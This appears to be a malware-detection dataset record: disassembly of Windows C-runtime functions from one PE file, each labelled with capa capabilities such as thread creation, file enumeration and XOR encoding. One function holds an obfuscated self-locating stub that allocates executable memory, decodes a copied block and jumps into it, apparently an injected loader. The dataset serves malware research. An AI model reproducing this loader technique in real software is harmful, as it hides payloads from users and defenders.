joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7c001624
Capabilities:
Accept command line arguments
Set thread local storage value

Disassembly:
mov edi, 0x94
mov eax, edi
call fcn.7c0014ee
mov esi, esp
push esi
mov dword [esi], edi
call dword [sym.imp.kernel32.dll_GetVersionExA]
test eax, eax
je 0x7c0016c7
mov ecx, dword [esi + 0x10]
mov dword [sym.MSVCR70.dll__osplatform], ecx
mov eax, dword [esi + 4]
mov dword [sym.MSVCR70.dll__winmajor], eax
mov edx, dword [esi + 8]
mov dword [sym.MSVCR70.dll__winminor], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
cmp ecx, 2
mov dword [sym.MSVCR70.dll__osver], esi
jne 0x7c00bbbb
shl eax, 8
add eax, edx
push 1
mov dword [sym.MSVCR70.dll__winver], eax
call fcn.7c004eaa
test eax, eax
pop ecx
je 0x7c0016c7
call fcn.7c004b44
test eax, eax
je 0x7c00bbcc
call fcn.7c0044ea
test eax, eax
jl 0x7c00bbd6
call fcn.7c00453f
mov dword [0x7c04aae4], eax
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [sym.MSVCR70.dll__acmdln], eax
call fcn.7c0045f4
mov dword [sym.MSVCR70.dll__wcmdln], eax
call fcn.7c004f5e
call fcn.7c004ab0
test eax, eax
jl 0x7c0016bd
call fcn.7c004c5f
test eax, eax
jne 0x7c0016bd
inc dword [0x7c04aae0]
jmp 0x7c00167c
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
cmp eax, 1
push esi
push edi
je 0x7c001559
xor edi, edi
cmp eax, edi
je 0x7c001696
cmp eax, 2
jne 0x7c001688
push 0x88
push 1
call sym.MSVCR70.dll_calloc
mov esi, eax
cmp esi, edi
pop ecx
pop ecx
je 0x7c0016c7
push esi
push dword [0x7c04a850]
call dword [sym.imp.kernel32.dll_TlsSetValue]
test eax, eax
push esi
je 0x7c00bbf1
call fcn.7c00173b
pop ecx
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
or dword [esi + 4], 0xffffffff
mov dword [esi], eax
xor eax, eax
inc eax
lea esp, [ebp - 8]
pop edi
pop esi
pop ebp
ret 0xc
cmp eax, 3
jne 0x7c00167c
push edi
call fcn.7c001798
pop ecx
jmp 0x7c00167c
cmp dword [0x7c04aae0], edi
jle 0x7c0016c7
dec dword [0x7c04aae0]
cmp dword [0x7c04aadc], edi
je 0x7c0016b6
cmp dword [ebp + 0x10], edi
jne 0x7c00167c
jmp 0x7c00bbdd
call sym.MSVCR70.dll__cexit
jmp 0x7c0016ac
call fcn.7c011c04
jmp 0x7c00bbd6
xor eax, eax
jmp 0x7c00167f
or esi, 0x8000
mov dword [sym.MSVCR70.dll__osver], esi
jmp 0x7c0015aa
call fcn.7c010357
jmp 0x7c0016c7
call fcn.7c00fc6f
jmp 0x7c00bbcc
call fcn.7c011c04
call fcn.7c00fc6f
call fcn.7c010357
jmp 0x7c00167c
call sym.MSVCR70.dll_free
pop ecx
jmp 0x7c0016c7
Function at 0x7c004075
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov edi, dword [ebp + 0x10]
xor ebx, ebx
test edi, edi
je 0x7c00bd2d
push esi
push 0x88
push 1
call sym.MSVCR70.dll_calloc
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x7c00bd4f
push esi
call fcn.7c00173b
mov eax, dword [ebp + 0x14]
or dword [esi + 4], 0xffffffff
mov dword [esi + 0x50], eax
mov eax, dword [ebp + 0x1c]
test eax, eax
pop ecx
mov dword [esi + 0x4c], edi
je 0x7c00bd3f
push eax
push dword [ebp + 0x18]
push esi
push 0x7c0040e2
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_CreateThread]
test eax, eax
je 0x7c00bd47
pop esi
pop edi
pop ebx
pop ebp
ret
call sym.MSVCR70.dll__errno
mov dword [eax], 0x16
xor eax, eax
jmp 0x7c0040de
lea eax, [ebp + 0x10]
jmp 0x7c0040bf
call dword [sym.imp.kernel32.dll_GetLastError]
mov ebx, eax
push esi
call sym.MSVCR70.dll_free
test ebx, ebx
pop ecx
je 0x7c00bd61
push ebx
call fcn.7c0102b7
pop ecx
xor eax, eax
jmp 0x7c0040dd

Function at 0x7c004373
Capabilities:
Terminate process

Disassembly:
push 8
call fcn.7c02072f
jmp 0x7c00440a
push esi
push 8
call fcn.7c02072f
xor esi, esi
inc esi
cmp dword [0x7c04aba8], esi
pop ecx
je 0x7c00bb8d
cmp dword [esp + 0xc], 0
mov dword [0x7c04aadc], esi
mov byte [0x7c04aba4], bl
jne 0x7c0043e2
mov ecx, dword [0x7c04ab74]
test ecx, ecx
je 0x7c0043d1
mov eax, dword [0x7c04ab70]
sub eax, 4
cmp eax, ecx
mov dword [0x7c04ab70], eax
jb 0x7c0043d1
mov eax, dword [eax]
test eax, eax
je 0x7c0043c1
call eax
mov eax, dword [0x7c04ab70]
sub eax, 4
cmp eax, dword [0x7c04ab74]
jmp 0x7c0043b2
push 0x7c04ab8c
push 0x7c04ab7c
call sym.MSVCR70.dll__initterm
pop ecx
pop ecx
push 0x7c04ab98
push 0x7c04ab90
call sym.MSVCR70.dll__initterm
test ebx, ebx
pop ecx
pop ecx
jne 0x7c004134
push dword [esp + 8]
mov dword [0x7c04aba8], esi
call fcn.7c00440d
pop ecx
pop esi
ret
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
jmp 0x7c00438b
Function at 0x7c00453f
Capabilities:
Query environment variable

Disassembly:
push ecx
push ecx
mov eax, dword [0x7c04b118]
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.kernel32.dll_GetEnvironmentStringsW]
xor ebx, ebx
xor esi, esi
cmp eax, ebx
push 2
pop ebp
jne 0x7c0045e9
call edi
mov esi, eax
cmp esi, ebx
je 0x7c00c679
mov dword [0x7c04b118], 1
cmp esi, ebx
je 0x7c00c69a
cmp word [esi], bx
mov eax, esi
je 0x7c004592
add eax, ebp
cmp word [eax], bx
jne 0x7c004584
add eax, ebp
cmp word [eax], bx
jne 0x7c004584
mov edi, dword [sym.imp.kernel32.dll_WideCharToMultiByte]
push ebx
push ebx
push ebx
sub eax, esi
push ebx
sar eax, 1
inc eax
push eax
push esi
push ebx
push ebx
mov dword [esp + 0x34], eax
call edi
mov ebp, eax
cmp ebp, ebx
je 0x7c0045d9
push ebp
call sym.MSVCR70.dll_malloc
cmp eax, ebx
pop ecx
mov dword [esp + 0x10], eax
je 0x7c0045d9
push ebx
push ebx
push ebp
push eax
push dword [esp + 0x24]
push esi
push ebx
push ebx
call edi
test eax, eax
je 0x7c00c6a7
mov ebx, dword [esp + 0x10]
push esi
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
cmp eax, 1
jne 0x7c00c6ba
jmp 0x7c004575
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x78
jne 0x7c00c690
mov eax, ebp
mov dword [0x7c04b118], eax
jmp 0x7c0045e9
mov eax, dword [0x7c04b118]
jmp 0x7c0045e9
call edi
mov esi, eax
cmp esi, ebx
je 0x7c00c6c2
jmp 0x7c00457d
push dword [esp + 0x10]
call sym.MSVCR70.dll_free
pop ecx
mov dword [esp + 0x10], ebx
jmp 0x7c0045d5
cmp eax, ebp
je 0x7c00c6c9
cmp eax, ebx
je 0x7c00c6c9
xor eax, eax
jmp 0x7c0045e2
call dword [sym.imp.kernel32.dll_GetEnvironmentStrings]
mov esi, eax
cmp esi, ebx
je 0x7c00c6c2
cmp byte [esi], bl
je 0x7c00c6e3
inc eax
cmp byte [eax], bl
jne 0x7c00c6d9
inc eax
cmp byte [eax], bl
jne 0x7c00c6d9
sub eax, esi
inc eax
mov ebp, eax
push ebp
call sym.MSVCR70.dll_malloc
mov edi, eax
cmp edi, ebx
pop ecx
jne 0x7c00c6f9
xor edi, edi
jmp 0x7c00c704
push ebp
push esi
push edi
call fcn.7c02072f
add esp, 0xc
push esi
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsA]
mov eax, edi
jmp 0x7c0045e2
Function at 0x7c0045f4
Capabilities:
Accept command line arguments

Disassembly:
mov eax, dword [0x7c04b114]
push ebp
xor ebp, ebp
cmp eax, ebp
push esi
mov esi, dword [sym.imp.kernel32.dll_GetCommandLineW]
jne 0x7c004620
call esi
test eax, eax
je 0x7c00c601
mov dword [0x7c04b114], 1
call esi
pop esi
pop ebp
ret
cmp eax, 1
jne 0x7c00c61f
jmp 0x7c00461b
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x78
jne 0x7c00c618
mov dword [0x7c04b114], 2
jmp 0x7c00c624
xor eax, eax
jmp 0x7c00461d
cmp eax, 2
jne 0x7c00c618
push ebx
push edi
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov edi, dword [sym.imp.kernel32.dll_MultiByteToWideChar]
push ebp
push ebp
push 0xffffffffffffffff
mov ebx, eax
push ebx
push 1
push ebp
call edi
mov esi, eax
cmp esi, ebp
jne 0x7c00c648
xor eax, eax
jmp 0x7c00c672
lea eax, [esi + esi]
push eax
call sym.MSVCR70.dll_malloc
mov ebp, eax
test ebp, ebp
pop ecx
je 0x7c00c644
push esi
push ebp
push 0xffffffffffffffff
push ebx
push 1
push 0
call edi
test eax, eax
jne 0x7c00c670
push ebp
call sym.MSVCR70.dll_free
pop ecx
jmp 0x7c00c644
mov eax, ebp
pop edi
pop ebx
jmp 0x7c00461d
Function at 0x7c005d94
Capabilities:
Get geographical location

Disassembly:
push 0x18
push 0x7c03e570
call fcn.7c00101f
xor esi, esi
cmp dword [0x7c04ba10], esi
je 0x7c005e68
mov eax, dword [0x7c04ba10]
cmp eax, 2
je 0x7c00d4c1
cmp eax, esi
je 0x7c00d4c1
cmp eax, 1
jne 0x7c005e88
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], esi
cmp dword [ebp + 0x18], esi
jne 0x7c005de0
mov eax, dword [sym.MSVCR70.dll___lc_codepage]
mov dword [ebp + 0x18], eax
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetLocaleInfoW]
mov ebx, eax
mov dword [ebp - 0x24], ebx
cmp ebx, esi
je 0x7c005e88
mov dword [ebp - 4], esi
lea eax, [ebx + ebx]
add eax, 3
and eax, 0xfffffffc
call fcn.7c0014ee
mov dword [ebp - 0x18], esp
mov edi, esp
mov dword [ebp - 0x28], edi
or dword [ebp - 4], 0xffffffff
cmp edi, esi
je 0x7c00d48e
push ebx
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetLocaleInfoW]
test eax, eax
je 0x7c005e53
push esi
push esi
cmp dword [ebp + 0x14], esi
je 0x7c00d4ae
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0xffffffffffffffff
push edi
push esi
push dword [ebp + 0x18]
call dword [sym.imp.kernel32.dll_WideCharToMultiByte]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x20], esi
jne 0x7c00d4b5
mov eax, dword [ebp - 0x1c]
lea esp, [ebp - 0x34]
call fcn.7c00105a
ret
push esi
push esi
xor edi, edi
inc edi
push edi
push esi
call dword [sym.imp.kernel32.dll_GetLocaleInfoW]
test eax, eax
je 0x7c00d454
mov dword [0x7c04ba10], edi
jmp 0x7c005dae
xor eax, eax
jmp 0x7c005e5f
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x78
jne 0x7c005dae
mov dword [0x7c04ba10], 2
jmp 0x7c005dae
lea eax, [ebx + ebx]
push eax
call sym.MSVCR70.dll_malloc
pop ecx
mov edi, eax
cmp edi, esi
je 0x7c005e88
mov dword [ebp - 0x20], 1
jmp 0x7c005e20
push esi
push esi
jmp 0x7c005e43
push edi
call sym.MSVCR70.dll_free
pop ecx
jmp 0x7c005e5c
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetLocaleInfoA]
jmp 0x7c005e5f
Function at 0x7c00620f
Capabilities:
Get geographical location

Disassembly:
push 0x18
push 0x7c03e560
call fcn.7c00101f
xor edi, edi
xor ebx, ebx
inc ebx
cmp dword [0x7c04ba0c], edi
je 0x7c006250
mov eax, dword [0x7c04ba0c]
cmp eax, ebx
jne 0x7c00d38c
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetLocaleInfoW]
lea esp, [ebp - 0x34]
call fcn.7c00105a
ret
push edi
push edi
push ebx
push edi
call dword [sym.imp.kernel32.dll_GetLocaleInfoW]
test eax, eax
je 0x7c00d36e
mov dword [0x7c04ba0c], ebx
jmp 0x7c006228
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x78
jne 0x7c006228
mov dword [0x7c04ba0c], 2
jmp 0x7c006228
cmp eax, 2
je 0x7c00d395
cmp eax, edi
jne 0x7c00d3bd
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x20], edi
cmp dword [ebp + 0x18], edi
jne 0x7c00d3a8
mov eax, dword [sym.MSVCR70.dll___lc_codepage]
mov dword [ebp + 0x18], eax
push edi
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetLocaleInfoA]
mov dword [ebp - 0x24], eax
cmp eax, edi
jne 0x7c00d3c4
xor eax, eax
jmp 0x7c006247
mov dword [ebp - 4], edi
add eax, 3
and eax, 0xfffffffc
call fcn.7c0014ee
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [ebp - 0x28], esi
or dword [ebp - 4], 0xffffffff
jmp 0x7c00d3f7
cmp esi, edi
jne 0x7c00d40d
push dword [ebp - 0x24]
call sym.MSVCR70.dll_malloc
pop ecx
mov esi, eax
cmp esi, edi
je 0x7c00d3bd
mov dword [ebp - 0x20], ebx
push dword [ebp - 0x24]
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetLocaleInfoA]
test eax, eax
je 0x7c00d440
cmp dword [ebp + 0x14], edi
jne 0x7c00d42a
push edi
push edi
jmp 0x7c00d430
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0xffffffffffffffff
push esi
push ebx
push dword [ebp + 0x18]
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x20], edi
je 0x7c00d44c
push esi
call sym.MSVCR70.dll_free
pop ecx
mov eax, dword [ebp - 0x1c]
jmp 0x7c006247

Function at 0x7c00fbde
Capabilities:
Create thread
Resume thread

Disassembly:
push ebx
push edi
mov edi, dword [esp + 0xc]
xor ebx, ebx
test edi, edi
jne 0x7c00fbfa
call sym.MSVCR70.dll__errno
mov dword [eax], 0x16
or eax, 0xffffffff
jmp 0x7c00fc6c
push esi
push 0x88
push 1
call sym.MSVCR70.dll_calloc
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x7c00fc52
push esi
call fcn.7c00173b
mov eax, dword [esp + 0x1c]
pop ecx
push esi
push 4
push esi
push 0x7c00fb3f
push dword [esp + 0x24]
mov dword [esi + 0x4c], edi
push 0
mov dword [esi + 0x50], eax
call dword [sym.imp.kernel32.dll_CreateThread]
mov edi, eax
test edi, edi
mov dword [esi + 4], edi
je 0x7c00fc4a
push edi
call dword [sym.imp.kernel32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x7c00fc69
call dword [sym.imp.kernel32.dll_GetLastError]
mov ebx, eax
push esi
call sym.MSVCR70.dll_free
test ebx, ebx
pop ecx
je 0x7c00fc64
push ebx
call fcn.7c0102b7
pop ecx
or eax, 0xffffffff
jmp 0x7c00fc6b
mov eax, edi
pop esi
pop edi
pop ebx
ret
Function at 0x7c00fcd4
Capabilities:
Enumerate files on windows

Disassembly:
cmp dword [esp + 4], 0
je 0x7c00fd32
cmp dword [0x7c04f3f0], 0
jne 0x7c00fcf8
push 0x244
call sym.MSVCR70.dll_malloc
test eax, eax
pop ecx
mov dword [0x7c04f3f0], eax
je 0x7c00fd5b
mov eax, dword [0x7c04f3f4]
test eax, eax
je 0x7c00fd0f
push eax
call dword [sym.imp.kernel32.dll_FindClose]
and dword [0x7c04f3f4], 0
push dword [0x7c04f3f0]
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [0x7c04f3f4], eax
je 0x7c00fd5b
mov eax, dword [0x7c04f3f0]
add eax, 0x2c
ret
push dword [0x7c04f3f0]
push dword [0x7c04f3f4]
call dword [sym.imp.kernel32.dll_FindNextFileA]
test eax, eax
jne 0x7c00fd29
push dword [0x7c04f3f4]
call dword [sym.imp.kernel32.dll_FindClose]
and dword [0x7c04f3f4], 0
xor eax, eax
ret

Function at 0x7c00ffc3
Capabilities:
Enumerate files on windows

Disassembly:
cmp dword [esp + 4], 0
je 0x7c010021
cmp dword [0x7c04f404], 0
jne 0x7c00ffe7
push 0x354
call sym.MSVCR70.dll_malloc
test eax, eax
pop ecx
mov dword [0x7c04f404], eax
je 0x7c01004a
mov eax, dword [0x7c04f400]
test eax, eax
je 0x7c00fffe
push eax
call dword [sym.imp.kernel32.dll_FindClose]
and dword [0x7c04f400], 0
push dword [0x7c04f404]
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [0x7c04f400], eax
je 0x7c01004a
mov eax, dword [0x7c04f404]
add eax, 0x2c
ret
push dword [0x7c04f404]
push dword [0x7c04f400]
call dword [sym.imp.kernel32.dll_FindNextFileW]
test eax, eax
jne 0x7c010018
push dword [0x7c04f400]
call dword [sym.imp.kernel32.dll_FindClose]
and dword [0x7c04f400], 0
xor eax, eax
ret

Function at 0x7c015709
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
push 4
pop eax
call fcn.7c0014ee
mov ebx, esp
push 0x1c
lea eax, [ebp - 0x24]
push eax
push ebx
call dword [sym.imp.kernel32.dll_VirtualQuery]
test eax, eax
je 0x7c01579e
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x44]
lea esi, [eax - 1]
not esi
and esi, ebx
sub esi, eax
mov dword [ebp - 4], eax
mov eax, dword [sym.MSVCR70.dll__osplatform]
mov ecx, eax
dec ecx
neg ecx
sbb ecx, ecx
and ecx, 0xffff1000
add ecx, 0x11000
add ecx, edi
cmp esi, ecx
jb 0x7c01579e
cmp eax, 1
je 0x7c0157b6
mov ebx, edi
mov edi, 0x1000
push 0x1c
lea eax, [ebp - 0x24]
push eax
push ebx
call dword [sym.imp.kernel32.dll_VirtualQuery]
test eax, eax
je 0x7c01579e
add ebx, dword [ebp - 0x18]
test dword [ebp - 0x14], edi
je 0x7c015773
test byte [ebp - 0xf], 1
mov ebx, dword [ebp - 0x24]
je 0x7c01579a
xor eax, eax
inc eax
jmp 0x7c0157d2
cmp esi, ebx
jae 0x7c0157a2
xor eax, eax
jmp 0x7c0157d2
push 4
push edi
push dword [ebp - 4]
push ebx
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov eax, dword [sym.MSVCR70.dll__osplatform]
jmp 0x7c0157b8
mov ebx, esi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 8]
push ecx
inc eax
push eax
push dword [ebp - 4]
push ebx
call dword [sym.imp.kernel32.dll_VirtualProtect]
lea esp, [ebp - 0x54]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x7c018586
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
test eax, eax
jne 0x7c018594
xor ecx, ecx
jmp 0x7c0185b2
cmp eax, 0x1a
jbe 0x7c01859e
push 0x57
pop eax
pop ebp
ret
add al, 0x40
and byte [ebp + 0xb], 0
lea ecx, [ebp + 8]
mov byte [ebp + 8], al
mov byte [ebp + 9], 0x3a
mov byte [ebp + 0xa], 0x5c
mov eax, dword [ebp + 0xc]
push eax
lea edx, [eax + 4]
push edx
lea edx, [eax + 0xc]
push edx
add eax, 8
push eax
push ecx
call dword [sym.imp.kernel32.dll_GetDiskFreeSpaceA]
test eax, eax
jne 0x7c0185d4
pop ebp
jmp dword [sym.imp.kernel32.dll_GetLastError]
xor eax, eax
pop ebp
ret

Function at 0x7c018bc2
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x7c018be2
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.7c0102b7
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x7c018c05
test byte [esp + 8], 2
je 0x7c018c05
call sym.MSVCR70.dll__errno
mov dword [eax], 0xd
call sym.MSVCR70.dll___doserrno
mov dword [eax], 5
jmp 0x7c018bde
xor eax, eax
ret

Function at 0x7c018cfd
Capabilities:
Set current directory

Disassembly:
push 0x10
push 0x7c03fc28
call fcn.7c00101f
mov ebx, dword [ebp + 8]
cmp ebx, 1
jl 0x7c018d6c
cmp ebx, 0x1f
jg 0x7c018d6c
push 7
call fcn.7c02072f
pop ecx
and dword [ebp - 4], 0
add ebx, 0x40
mov byte [ebp - 0x1c], bl
mov byte [ebp - 0x1b], 0x3a
and byte [ebp - 0x1a], 0
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x7c018d44
and dword [ebp - 0x20], 0
jmp 0x7c018d55
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.7c0102b7
pop ecx
or dword [ebp - 0x20], 0xffffffff
or dword [ebp - 4], 0xffffffff
call fcn.7c018d63
mov eax, dword [ebp - 0x20]
jmp 0x7c018d85
call sym.MSVCR70.dll__errno
mov dword [eax], 0xd
call sym.MSVCR70.dll___doserrno
mov dword [eax], 0xf
or eax, 0xffffffff
call fcn.7c00105a
ret

Function at 0x7c018d8b
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x7c018db8
test byte [esp + 8], 0x80
je 0x7c018da6
and eax, 0xfffffffe
jmp 0x7c018da9
or eax, 1
push eax
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
test eax, eax
jne 0x7c018dc9
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.7c0102b7
pop ecx
or eax, 0xffffffff
ret
xor eax, eax
ret
Function at 0x7c019ae9
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x7c019b09
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.7c0102b7
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x7c019b2c
test byte [esp + 8], 2
je 0x7c019b2c
call sym.MSVCR70.dll__errno
mov dword [eax], 0xd
call sym.MSVCR70.dll___doserrno
mov dword [eax], 5
jmp 0x7c019b05
xor eax, eax
ret

Function at 0x7c019bd3
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x7c019c00
test byte [esp + 8], 0x80
je 0x7c019bee
and eax, 0xfffffffe
jmp 0x7c019bf1
or eax, 1
push eax
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
test eax, eax
jne 0x7c019c11
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.7c0102b7
pop ecx
or eax, 0xffffffff
ret
xor eax, eax
ret
Function at 0x7c02072f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x7c02073e
pop dword [ebp - 0x18]
mov eax, 0xad368c98
add eax, 0xcecb7aa6
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x3c8c6
push 0
mov eax, 0xd6ef0c97
add eax, 0xa51483fd
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0xaf3dd658
sub ecx, 0xaf3d90f3
mov edx, eax
mov ebx, 0x7c054000
add ebx, dword [ebp - 0x18]
mov edi, 0x16b19d04
add edi, 0x46f89d8
mov esi, dword [ebx]
sub esi, edi
xor dword [ebp - 0x14], 0xab6c44ae
mov dword [edx], esi
xor dword [ebp - 0xc], 0x63887e70
add edx, 0x98436de6
sub edx, 0x98436de2
add ebx, 0xedb1388b
sub ebx, 0xedb13887
loop 0x7c020797
add eax, 0x10867
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xb3d62749
sub ecx, 0x37d62749
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x7c024db4
Capabilities:
Create pipe

Disassembly:
push 0x24
push 0x7c040d20
call fcn.7c00101f
mov ebx, dword [ebp + 8]
or esi, 0xffffffff
mov dword [ebx + 4], esi
mov dword [ebx], esi
mov dword [ebp - 0x24], 0xc
and dword [ebp - 0x20], 0
mov al, byte [ebp + 0x10]
and al, 0x80
neg al
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.kernel32.dll_CreatePipe]
test eax, eax
jne 0x7c024e10
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.7c0102b7
pop ecx
mov eax, esi
jmp 0x7c024fa8
call fcn.7c01605f
mov edi, eax
mov dword [ebp - 0x30], edi
cmp edi, esi
je 0x7c024f6c
and dword [ebp - 4], 0
mov ecx, edi
sar ecx, 5
and eax, 0x1f
lea eax, [eax + eax*8]
mov ecx, dword [ecx*4 + sym.MSVCR70.dll___pioinfo]
mov byte [ecx + eax*4 + 4], 0x89
mov dword [ebp - 4], esi
call fcn.7c024f2e
call fcn.7c01605f
mov esi, eax
mov dword [ebp - 0x34], esi
cmp esi, 0xffffffff
je 0x7c024f4c
mov dword [ebp - 4], 1
mov ecx, esi
sar ecx, 5
and eax, 0x1f
lea eax, [eax + eax*8]
mov ecx, dword [ecx*4 + sym.MSVCR70.dll___pioinfo]
mov byte [ecx + eax*4 + 4], 0x89
or dword [ebp - 4], 0xffffffff
call fcn.7c024f3f
mov eax, 0x8000
test dword [ebp + 0x10], eax
jne 0x7c024e97
test byte [ebp + 0x11], 0x40
jne 0x7c024ecd
cmp dword [sym.MSVCR70.dll__fmode], eax
jne 0x7c024ecd
mov ecx, edi
sar ecx, 5
mov eax, edi
and eax, 0x1f
lea eax, [eax + eax*8]
mov ecx, dword [ecx*4 + sym.MSVCR70.dll___pioinfo]
lea eax, [ecx + eax*4 + 4]
and byte [eax], 0x7f
mov ecx, esi
sar ecx, 5
mov eax, esi
and eax, 0x1f
lea eax, [eax + eax*8]
mov ecx, dword [ecx*4 + sym.MSVCR70.dll___pioinfo]
lea eax, [ecx + eax*4 + 4]
and byte [eax], 0x7f
test byte [ebp + 0x10], 0x80
je 0x7c024f09
mov ecx, edi
sar ecx, 5
mov eax, edi
and eax, 0x1f
lea eax, [eax + eax*8]
mov ecx, dword [ecx*4 + sym.MSVCR70.dll___pioinfo]
lea eax, [ecx + eax*4 + 4]
or byte [eax], 0x10
mov ecx, esi
sar ecx, 5
mov eax, esi
and eax, 0x1f
lea eax, [eax + eax*8]
mov ecx, dword [ecx*4 + sym.MSVCR70.dll___pioinfo]
lea eax, [ecx + eax*4 + 4]
or byte [eax], 0x10
push dword [ebp - 0x2c]
push edi
call fcn.7c015e8e
push dword [ebp - 0x28]
push esi
call fcn.7c015e8e
add esp, 0x10
call sym.MSVCR70.dll__errno
and dword [eax], 0
jmp 0x7c024f7a
mov ecx, edi
sar ecx, 5
mov eax, edi
and eax, 0x1f
lea eax, [eax + eax*8]
mov ecx, dword [ecx*4 + sym.MSVCR70.dll___pioinfo]
and byte [ecx + eax*4 + 4], 0
call sym.MSVCR70.dll__errno
jmp 0x7c024f74
call sym.MSVCR70.dll__errno
mov esi, dword [ebp - 0x34]
mov dword [eax], 0x18
call sym.MSVCR70.dll__errno
cmp dword [eax], 0
je 0x7c024fa1
push dword [ebp - 0x2c]
mov esi, dword [sym.imp.kernel32.dll_CloseHandle]
call esi
push dword [ebp - 0x28]
call esi
call sym.MSVCR70.dll___doserrno
and dword [eax], 0
or eax, 0xffffffff
jmp 0x7c024fa8
mov dword [ebx], edi
mov dword [ebx + 4], esi
xor eax, eax
call fcn.7c00105a
ret